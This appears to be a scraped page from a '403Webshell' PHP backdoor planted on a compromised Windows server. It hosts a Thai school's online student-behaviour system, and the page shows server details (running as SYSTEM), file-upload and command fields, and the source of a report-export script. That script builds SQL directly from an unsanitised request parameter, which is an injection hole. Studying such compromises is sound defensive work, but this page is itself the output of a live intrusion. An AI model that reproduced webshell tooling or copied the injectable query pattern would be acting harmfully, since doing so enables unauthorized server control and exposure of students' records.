403Webshell
Server IP : 172.67.187.206  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/triamudom/check/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/triamudom/check/webadmin//print_report_ruleroom_excel.php
<?php
header("Content-Type: application/vnd.ms-excel");
header('Content-Disposition: attachment; filename="report_ruleroom.xls"');#ชื่อไฟล์
session_start();
$path = "../";
include ($path.'include/config_db.php');
include ($path.'include/class_db.php'); 
include ($path.'include/class_display.php'); 
include ($path.'include/function.php'); 
$CLASS['db']   = new db();
$CLASS['db']->connect(); 
$CLASS['disp']   = new display();
$db   = $CLASS['db']; 
$disp   = $CLASS['disp']; 

$tb_student_degree = $_REQUEST['tb_student_degree'];


//--------------------ส่วนบนใช้สำหรับประกาศตัวแปรและ Config เท่านั้น----------------------------//
?>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>ระบบบันทึกพฤติกรรมนักเรียน ออนไลน์</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style type="text/css">
<!--
.style1 {
	font-size: 18px;
	font-weight: bold;
}
-->
</style>
</head>

<body onLoad="window.print();">
<?php
								$sql_stu="SELECT * FROM tb_students Inner Join tb_rooms ON tb_students.tb_student_degree = tb_rooms.tb_room_id where  tb_students.tb_student_degree = '".$tb_student_degree."' ";
								$query_stu = $db->query($sql_stu);
								while($fetch_stu = $db->fetch_array($query_stu)){
								?>
            				<table width="100%" border="0" cellspacing="1" cellpadding="1">
                              <tr>
                                <td align="center" nowrap="nowrap"></td>
                              </tr>
                              <tr>
                                <td align="center" nowrap="nowrap"><span class="style1">รายงานพฤติกรรมนักเรียนรายบุคคล</span><br />
                                    <strong>โรงเรียนแกลง&quot;วิทยสถาวร&quot;  อำเภอแกลง  จังหวัดระยอง<br />
                                    <?php print display_nametype($fetch_stu['tb_student_tname']);?><?php print $fetch_stu['tb_student_name'];?> <?php print $fetch_stu['tb_student_sname'];?> เลขประจำตัว <?php print $tb_student_code;?> ห้อง <?php print $fetch_stu['tb_room_name'];?></strong></td>
                              </tr>
                              <tr>
                                <td align="center"><table width="100%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#666666">
                                    <tr>
                                      <td width="12%" align="center" nowrap="nowrap" bgcolor="#999999" class="headTable_mpt"><strong>ครั้งที่</strong></td>
                                      <td width="25%" align="center" nowrap="nowrap" bgcolor="#999999" class="headTable_mpt"><strong>วัน / เดือน / ปี </strong></td>
                                      <td width="23%" align="center" nowrap="nowrap" bgcolor="#999999" class="headTable_mpt"><strong>พฤติกรรม</strong></td>
                                      <td width="24%" align="center" nowrap="nowrap" bgcolor="#999999" class="headTable_mpt"><strong>สถานที่</strong></td>
                                      <td width="16%" align="center" nowrap="nowrap" bgcolor="#999999" class="headTable_mpt"><strong>ภาคเรียน/ปี</strong></td>
                                    </tr>
										<?php
										 	$sql_all="select * from tb_rules where tb_student_id ='".$fetch_stu['tb_student_id']."' order by tb_rule_date desc";
											$queryall = $db->query($sql_all);
											$numrows = $db->num_rows($queryall);
											if($numrows >0){
											$i=1;
											$num_score =0;
											while($fetch_dis = $db->fetch_array($queryall)){
											$num_score += $disp->display_rulescore($fetch_dis['tb_ruletype_id']);
											
										?>
                                    <tr>
                                      <td align="center" bgcolor="#FFFFFF"><?php print $i+$goto;?>.</td>
                                      <td align="center" bgcolor="#FFFFFF"><?php print display_date($fetch_dis['tb_rule_date'],"shortthai")?></td>
                                      <td align="center" valign="top" nowrap="nowrap" bgcolor="#FFFFFF" class="<?php echo $bg;?>"><?php print $disp->display_ruletype($fetch_dis['tb_ruletype_id']);?> (ตัด <?php print $disp->display_rulescore($fetch_dis['tb_ruletype_id']);?> คะแนน)</td>
                                      <td align="center" valign="top" nowrap="nowrap" bgcolor="#FFFFFF" class="<?php echo $bg;?>"><?php print $fetch_dis['tb_rule_area']?></td>
                                      <td align="center" bgcolor="#FFFFFF">เทอม 1 ปี 2559</td>
                                    </tr>
                                    <?php
											$i++;
												}
												?>
                                    <tr>
                                      <td colspan="3" align="right" bgcolor="#CCCCCC" class="alertred"><strong>รวมคะแนนพฤติกรรมที่โดนหัก&nbsp;&nbsp;</strong></td>
                                      <td colspan="2" bgcolor="#CCCCCC" class="alertred"><strong> &nbsp;&nbsp;&nbsp;<?php print $num_score;?> &nbsp;คะแนน</strong></td>
                                    </tr>
												<?php
											}else{
										?>
                                    <tr>
                                      <td colspan="5" align="center" bgcolor="#FFFFFF" class="alertred">ไม่พบข้อมูล</td>
                                    </tr>
                                    <?php 
												} 
										  ?>
                                </table></td>
                              </tr>
                              <tr>
                                <td align="center">&nbsp;</td>
                              </tr>
                              <tr>
                                <td align="center"><hr /></td>
                              </tr>
                            </table>
							<?php 
							}
							?>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit